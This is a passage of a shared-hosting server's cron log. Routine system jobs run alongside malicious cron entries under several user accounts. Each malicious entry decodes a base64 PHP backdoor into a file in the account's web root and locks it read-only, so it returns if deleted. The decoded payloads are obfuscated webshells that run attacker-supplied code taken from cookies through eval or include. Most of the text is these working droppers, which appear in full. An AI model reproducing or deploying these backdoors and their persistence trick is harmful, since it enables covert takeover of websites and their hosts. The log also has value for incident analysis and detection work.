"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:30:02 medusa CROND[19292]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 12:30:02 medusa CROND[19289]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 12:30:02 medusa CROND[19293]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:30:02 medusa CROND[19291]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:30:02 medusa CROND[19297]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 12:30:02 medusa CROND[19305]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 12:30:02 medusa CROND[19304]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 12:30:02 medusa CROND[19314]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:30:02 medusa CROND[19316]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:30:02 medusa CROND[19317]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:30:02 medusa CROND[19302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:30:02 medusa CROND[19318]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:30:02 medusa CROND[19313]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 12:30:02 medusa CROND[19320]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 12:30:02 medusa CROND[19322]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:30:02 medusa CROND[19323]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 12:30:02 medusa CROND[19328]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 12:30:02 medusa CROND[19315]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 12:30:02 medusa CROND[19335]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 12:30:02 medusa CROND[19330]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 12:30:02 medusa CROND[19319]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 12:30:02 medusa CROND[19303]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 12:30:02 medusa CROND[19339]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:30:02 medusa CROND[19332]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 12:30:02 medusa CROND[19331]: (root) CMD (/nutscripts/filtroh > /dev/null 2>&1)
Mar  1 12:31:01 medusa CROND[10243]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:31:01 medusa CROND[10343]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:31:01 medusa CROND[10345]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:31:01 medusa CROND[10344]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 12:31:01 medusa CROND[10346]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:31:01 medusa CROND[10347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:31:01 medusa CROND[10348]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:31:01 medusa CROND[10349]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 12:31:01 medusa CROND[10350]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:31:01 medusa CROND[10357]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:31:01 medusa CROND[10358]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:31:01 medusa CROND[10359]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:31:01 medusa CROND[10370]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:32:01 medusa CROND[32649]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:32:01 medusa CROND[32686]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 12:32:01 medusa CROND[32687]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxl